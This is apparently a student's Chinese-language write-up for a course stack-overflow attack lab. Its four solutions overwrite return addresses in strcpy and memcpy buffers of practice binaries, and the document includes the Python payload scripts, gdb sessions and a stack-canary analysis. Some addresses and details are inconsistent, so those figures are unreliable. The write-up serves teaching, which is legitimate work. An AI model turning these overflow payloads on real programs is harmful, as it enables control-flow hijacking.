

栈溢出攻击实验

题目解决思路

Problem 1:

- 分析:

strcpy(小空间, 大内容); 小空间只能装 **8个字符**, 但程序会把整个文件内容都复制进去, 如果文件内容超过8个字符, 就会**溢出**。

```
|-----|
| 我们的文件内容 | ← 前8个字符
|-----|
| 旧的rbp值      | ← 接下来的8个字符
|-----|
| 返回地址      | ← 最重要的地方!
|-----|
```

局部缓冲区起始地址: `rbp - 0x8`

返回地址位置: `rbp + 0x8`

两者距离: 16 字节

strcpy特性: 遇到 `\x00` 会停止复制, 并在目标字符串末尾添加 `\x00`, 因此 `payload` 中不能包含 `\x00`, 直到需要覆盖返回地址的低字节

func1函数地址: 起始地址: `0x401216`, 低 4 字节: `\x16\x12\x40\x00`

由于 strcpy 遇到 `\x00` 会停止, 我们只需提供低 4 字节的前三个非零字节: `\x16\x12\x40`

strcpy 会在复制这三个字节后添加 `\x00`, 从而形成完整的低 4 字节 `\x16\x12\x40\x00`

- 解决方案:

```
p1.py > ...
1 padding = b"A" * 16
2 func1_address_low = b"\x16\x12\x40"
3 payload = padding + func1_address_low
4
5 with open("ans1.txt", "wb") as f:
6     f.write(payload)
7 print("Payload written to ans1.txt")
```

- 结果:

```
bash: ./problem1: permission denied
• cleo@ZhenQihong:~/attack-lab-CleoZhen$ chmod +x problem1
• cleo@ZhenQihong:~/attack-lab-CleoZhen$ ./problem1 ans1.txt
Do you like ICS?
Yes! I like ICS!
○ cleo@ZhenQihong:~/attack-lab-CleoZhen$
```

Problem 2:

- 分析:

func函数 (地址: 0x401290)

```
401290: sub    $0x20,%rsp      # 分配32字节栈空间
4012a4: lea    -0x8(%rbp),%rax  # 缓冲区起始地址: rbp-0x8
4012a8: mov    $0x38,%edx      # 复制56字节到缓冲区
4012b3: call   4010f0 <memcpy@plt> # 漏洞点
```

漏洞分析: 缓冲区大小只有8字节 (rbp-0x8 到 rbp), `memcpy` 复制56字节, 导致栈缓冲区溢出

func2函数 (地址: 0x401216)

```
40124c: lea    0xde8(%rip),%rax # 加载"Yes!! like ICS!"字符串地址
401253: mov    %rax,%rdi        # 设置printf参数
40125b: call   4010d0 <printf@plt> # 打印目标字符串
```

偏移距离16字节

Payload结构:

缓冲区填充: "AAAAAAAA" 8字节

覆盖rbp "BBBBBBBB" 8字节

覆盖返回地址 0x40124c 8字节

- 解决方案:

```
p2.py > ...
1  buffer = b"A" * 8
2  rbp = b"B" * 8
3  target_addr = b"\x4c\x12\x40\x00\x00\x00\x00" # 0x40124c
4
5  payload = buffer + rbp + target_addr
6
7  with open("ans2.txt", "wb") as f:
8      f.write(payload)
9  print("Payload written to ans2.txt")
```

- 结果:

```
payload written to ans2.txt
● cleo@ZhenQihong:~/attack-lab-CleoZhen$ ./problem2 ans2.txt
Do you like ICS?
Welcome to the second level!
Yes! I like ICS!
○ cleo@ZhenQihong:~/attack-lab-CleoZhen$
```

Problem 3:

- 分析:

首先分析程序结构，main函数读取文件内容到栈缓冲区，然后调用func函数

func函数存在栈溢出漏洞，其局部缓冲区位于rbp减0x20处，但memcpy复制0x40字节即64字节，因此有32字节溢出空间，可以覆盖返回地址

目标是通过覆盖返回地址使程序输出幸运数字114

程序中有func1函数，当参数edi为0x72即十进制114时，会输出对应字符串。然而直接控制edi寄存器较为困难，但观察func1反汇编代码，在地址0x40122b处是参数检查通过后的代码路径，直接构造字符串并输出，因此可以跳过参数检查直接跳转到该地址执行。

需要确保跳转到0x40122b后代码能够正常执行，该处代码会向rbp减0x40开始的地址写入字符串数据，因此必须控制rbp的值，使其指向可写内存区域

在调试中，于func函数入口处设置断点，运行程序并输入测试payload，打印rbp减0x20得到缓冲区起始地址B为0x7fffffffdf840。计算新rbp值，为确保写入安全，将新rbp设为B加0x100即0x7fffffffdf940。这样rbp减0x40为0x7fffffffdf900，仍在栈可写范围内

计算偏移量，从缓冲区起始到返回地址的偏移为0x20字节缓冲区加0x8字节保存的rbp，共0x28即40字节。因此payload结构为：前32字节填充缓冲区，接着8字节为新rbp值，再接着8字节为返回地址0x40122b，最后为满足memcpy复制64字节，补充16字节任意数据

- 解决方案:

```
1 import struct
2 B = 0x7fffffffdf80
3 new_rbp = B + 0x100
4 ret_addr = 0x40122b
5
6 payload = b"A" * 32
7 payload += struct.pack("<Q", new_rbp)
8 payload += struct.pack("<Q", ret_addr)
9
10 if len(payload) < 64:
11     payload += b"B" * (64 - len(payload))
12
13 with open("ans3.txt", "wb") as f:
14     f.write(payload)
15
16 print(f"Payload written to ans3.txt (length: {len(payload)})")
17
```

- 结果:

- ```

Reading symbols from ./problem3...
(gdb) break *0x401355
Breakpoint 1 at 0x401355: file problem3.c, line 56.
(gdb) run ans3.txt
Starting program: /home/cleo/attack-lab-CleoZhen/problem3 ans3.txt

This GDB supports auto-downloading debuginfo from the following URLs:
 <https://debuginfod.ubuntu.com>
Enable debuginfod for this session? (y or [n]) n
Debuginfod has been disabled.
To make this setting permanent, add 'set debuginfod enabled off' to .gdbinit.
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Do you like ICS?

Breakpoint 1, func (s=0x7ffff7c85330 <_IO_new_fclose+160> "H\203\304\bD\211\340[A\A]]\303f\220\350", <incomplete sequence \366>)
 at problem3.c:56
warning: 56 problem3.c: No such file or directory
(gdb) print $rbp - 0x20
$1 = (void *) 0x7fffffd840
(gdb) continue
Continuing.
Now, say your lucky number is 114!
If you do that, I will give you great scores!
Your lucky number is 114

```

## Problem 4:

- 分析:

Canary保护的实现体现在以下几个地方:

1. Canary值设置 (函数开头)

在每个受保护函数的开头, 都会从 `fs:0x28` 位置读取canary值并保存到栈上:

```

mov %fs:0x28,%rax ; 从线程局部存储读取canary值
mov %rax,-0x8(%rbp) ; 将canary值保存到栈帧底部

```

例如在func函数(0x135d)中:

```

136c: 64 48 8b 04 25 28 00 mov %fs:0x28,%rax
1373: 00 00
1375: 48 89 45 f8 mov %rax,-0x8(%rbp)

```

## 2. Canary值检查 (函数返回前)

在函数返回前, 会重新从栈上读取canary值, 与原始值比较:

```

mov -0x8(%rbp),%rax ; 从栈上读取保存的canary值
sub %fs:0x28,%rax ; 与原始canary值比较
je 正常返回地址 ; 如果相等, 正常返回
call 10d0 <__stack_chk_fail@plt> ; 否则调用栈检查失败处理

```

例如在func函数(0x135d)中:

```

140a: 48 8b 45 f8 mov -0x8(%rbp),%rax
140e: 64 48 2b 04 25 28 00 sub %fs:0x28,%rax
1415: 00 00
1417: 74 05 je 141e <func+0xc1>
1419: e8 b2 fc ff ff call 10d0 <__stack_chk_fail@plt>

```

### 3. 受保护的函数

程序中以下函数都启用了Canary保护：

- `caesar_decrypt` (0x1209)
- `func1` (0x131c)
- `func` (0x135d)
- `main` (0x1420)

### main函数逻辑

1. 设置两个局部变量：`-0x9c(%rbp)` = -1, `-0x94(%rbp)` = 0xf4143da0
2. 打印欢迎信息
3. 读取第一个字符串到 `-0x80(%rbp)` 缓冲区
4. 解密内置字符串"pakagxuw" (偏移12)
5. 读取第二个字符串到 `-0x60(%rbp)` 缓冲区
6. 解密另一段长字符串 (偏移12)
7. 进入无限循环，不断读取整数并调用func函数

### func函数关键逻辑

func函数是解题的关键，其逻辑如下：

1. 参数传递：edi (第一个参数) 保存到 `-0x24(%rbp)`
2. 设置局部变量：`-0x10(%rbp)` = -2 (0xfffffffffe)
3. 将参数复制到两个变量：`-0x18(%rbp)` 和 `-0xc(%rbp)`
4. 打印输入的参数值
5. 条件判断：如果参数  $\geq -2$  (有符号比较)，进入循环
6. 循环逻辑：循环计数器从0开始，每次加1，直到计数器  $\geq -2$  (无符号比较)
7. 每次循环将 `-0x18(%rbp)` 减1
8. 循环结束后检查两个条件：
  - `-0x18(%rbp)` 必须等于1
  - `-0xc(%rbp)` 必须等于-1
9. 如果条件满足，调用func1并退出程序

### 数学条件推导

设输入参数为x，循环次数为n：

- 循环条件：计数器从0增加到0xfffffffffe (-2的无符号表示)
- 循环次数  $n = 0xfffffffffe$  次
- 循环后 `-0x18(%rbp)` =  $x - n$
- 要求： $x - n = 1$  且  $x = -1$

代入求解：

$$x - 0xfffffffffe = 1$$

$$x = 0xfffffffffe + 1 = 0xfffffffff = -1 \text{ (有符号)}$$

因此，输入参数必须是-1

- **解决方案：**

```
1 import subprocess
2 import time
3 import sys
4 p = subprocess.Popen(['./problem4'], stdin=subprocess.PIPE, stdout=subprocess.
 PIPE, stderr=subprocess.PIPE, text=True)
5 # 发送第一次输入（任意字符串）
6 p.stdin.write("test\n")
7 p.stdin.flush()
8 time.sleep(0.1)
9 # 发送第二次输入（任意字符串）
10 p.stdin.write("test\n")
11 p.stdin.flush()
12 time.sleep(0.1)
13 # 发送关键输入：-1
14 p.stdin.write("-1\n")
15 p.stdin.flush()
16 output, error = p.communicate()
17 print(output)
18 if error:
19 print("错误信息：", error)
```

- **结果：**

```
hi please tell me what is your name?
hi! do you like ics?
if you give me enough yuanshi,I will let you pass!
your money is 4294967295
great!I will give you great scores

o cleo@ZhenQihong:~/attack-lab-CleoZhen$
```

## 思考与总结

1. **看汇编不再害怕了：**一开始看到满屏的十六进制和寄存器名就头疼，现在知道先找函数入口、看参数传递、看局部变量分配。
2. **学会“合理作弊”：**不是所有问题都要硬刚。Problem4等40亿次循环不现实，用GDB跳过是合理的选择。
3. **debug能力提升：**学会了系统性地调试——先静态分析猜问题，再动态调试验证，反复调整。

## 参考资料

CS:APP Attack Lab. (2023). *Carnegie Mellon University, 15-213/18-213/15-513: Introduction to Computer Systems*.

GNU Binutils. (2023). *objdump - display information from object files*.

CTF Wiki. (2023). *PWN: Stack Overflow*.<https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/stackoverflow-basic/>